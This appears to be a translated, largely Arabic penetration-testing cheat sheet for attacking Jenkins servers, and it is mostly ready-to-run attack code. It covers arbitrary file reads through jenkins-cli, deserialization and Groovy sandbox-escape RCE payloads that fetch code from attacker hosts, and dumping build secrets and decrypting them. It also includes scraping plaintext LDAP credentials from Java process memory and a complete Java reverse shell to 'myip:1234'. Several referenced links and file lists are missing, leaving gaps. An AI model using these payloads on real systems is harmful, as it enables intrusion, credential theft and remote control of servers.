
Notes about attacking Jenkins servers
مع المصادقة، يمكن استرجاع ملف كامل:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins -auth abc:abc connect-node "@/etc/passwd"
بدون مصادقة أو عند فقدان صلاحيات Global/Read، يمكن قراءة 3 أسطر فقط: قراءة السطر الأول:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins who-am-i "@/etc/passwd"
قراءة السطر الثاني:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins enable-job "@/etc/passwd"
قراءة السطر الثالث:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins keep-build "@/etc/passwd"
كيفية تخمين مفتاح تشفير بيانات الاعتماد.
استخدم ysoserial لإنشاء حمولة (payload). ثم نفّذ RCE باستخدام هذا السكربت:
java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
./jenkins_rce.py jenkins_ip jenkins_port payload.out
التفاصيل هنا.
إذا كان Jenkins يطلب المصادقة لكنه يعيد بيانات صالحة عند استخدام الطلب التالي، فهو معرّض للثغرة:
curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a
الثغرة الأصلية للاستغلال RCE هنا, الاستغلال الكامل هنا.
استغلال RCE بديل بصلاحيات Overall/Read وJob/Configure هنا.
تحقق مما إذا كانت نسخة Jenkins معرّضة للثغرة (تتطلب صلاحيات Overall/Read) باستخدام بعض أكواد Groovy:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'
ملاحظة: إذا حصلت على خطأ 403 بشأن عدم وجود crumb (وهو حماية CSRF في Jenkins)، فقد تتمكن من الحصول على قيمة crumb عبر طلب GET إلى https://example.com/crumbIssuer/api/json. يجب بعد ذلك إضافة قيمة crumb إلى طلب POST في ترويسة Jenkins-Crumb.
تنفيذ أوامر bash تعسفية:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'
إذا لم تحصل على قشرة عكسية (reverse shell) فورًا، يمكنك التصحيح عن طريق إلقاء استثناء:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'
يعمل هذا فقط إذا كان لدى المستخدم صلاحيات 'Jobs/Configure' في مصفوفة الأمان، لذا فهو خاص جدًا.
لاحظ أن هذا قابل للاستغلال فقط عند استخدام مركز تحديث مخصص وقديم. لذلك فإن معظم الخوادم غير معرّضة للثغرة.
استخدم هذا السكربت لتفريغ مخرجات وحدة تحكم البناء ومتغيرات بيئة البناء على أمل العثور على أسرار نصية واضحة.
usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]
[-l] [-r] [-d] [-s] [-v]
url [url ...]
Dump all available info from Jenkins
positional arguments:
url
optional arguments:
-h, --help show this help message and exit
-u USER, --user USER
-p PASSWORD, --password PASSWORD
-o OUTPUT_DIR, --output-dir OUTPUT_DIR
-l, --last Dump only the last build of each job
-r, --recover_from_failure
Recover from server failure, skip all existing
directories
-d, --downgrade_ssl Downgrade SSL to use RSA (for legacy)
-s, --no_use_session Don't reuse the HTTP session, but create a new one for
each request (for legacy)
-v, --verbose Debug mode
استخدم سكربت بايثون هذا أو سكربت باورشيل هذا.
هذه الملفات ضرورية لفك تشفير أسرار Jenkins:
يمكن عادةً العثور على مثل هذه الأسرار في:
إليك تعبيرًا منتظمًا للعثور عليها:
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
إذا تم تكوين Jenkins للتحقق من بيانات اعتماد المستخدم عن طريق تمريرها إلى LDAP (وهو أمر غبي، لكنه يمثل ثغرة شائعة في الشركات)، فمن الممكن استعادة بيانات اعتماد المستخدم هذه بنص واضح عن طريق تفريغ ذاكرة عملية Java. بافتراض أن PID الخاص بخادم Jenkins هو 7، ستقوم الحلقة التالية بتفريغ ذاكرة المكدس كل 30 ثانية:
head -n 1 /proc/7/maps
a=<first hex number>
b=<second hex number>
while [ 1 ]; do dd if=/proc/7/mem bs=$(getconf PAGESIZE) iflag=skip_bytes,count_bytes skip=$((0x$a)) count=$((0x$b - 0x$a)) of=/tmp/tmp.bin; strings /tmp/tmp.bin | grep "uid=" && break; sleep 30; done
يُعد التأخير القصير مهمًا لأن جامع البيانات المهملة (garbage collector) يحرر بنى بيانات الاعتماد بانتظام.
استخدم هذا السكربت لفك تشفير الأسرار التي تم تفريغها مسبقًا.
Usage:
jenkins_offline_decrypt.py <jenkins_base_path>
or:
jenkins_offline_decrypt.py <master.key> <hudson.util.Secret> [credentials.xml]
or:
jenkins_offline_decrypt.py -i <path> (interactive mode)
println(hudson.util.Secret.decrypt("{...}"))
def proc = "id".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
أمر شل متعدد الأسطر يمكن أن يتضمن أنابيب (pipes) وإعادة توجيه (redirects) وغير ذلك:
def proc = ['bash', '-c', '''your_long_command_here'''].execute();
قم بأتمتة ذلك باستخدام هذا السكربت.
بشكل افتراضي يتم التنفيذ على العقدة الرئيسية. استخدم هذا السكربت للتنفيذ على عامل محدد:
import hudson.util.RemotingDiagnostics
import jenkins.model.Jenkins
String agent_name = 'slave_name'
groovy_script = '''
def proc = ['cmd', '/c', 'cd D:\\\\ && dir data'].execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
'''
String result
Jenkins.instance.slaves.find { agent ->
agent.name == agent_name
}.with { agent ->
result = RemotingDiagnostics.executeGroovy(groovy_script, agent.channel)
}
println result
String host="myip";
int port=1234;
String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
سأترك هنا هذه النصيحة الخاصة بالقشرة العكسية لاستعادة PTY يعمل بشكل كامل في حال احتاجها أي شخص:
python -c 'import pty; pty.spawn("/bin/bash")'
^Z bg
stty -a
echo $TERM
stty raw -echo
fg
export TERM=...
stty rows xx columns yy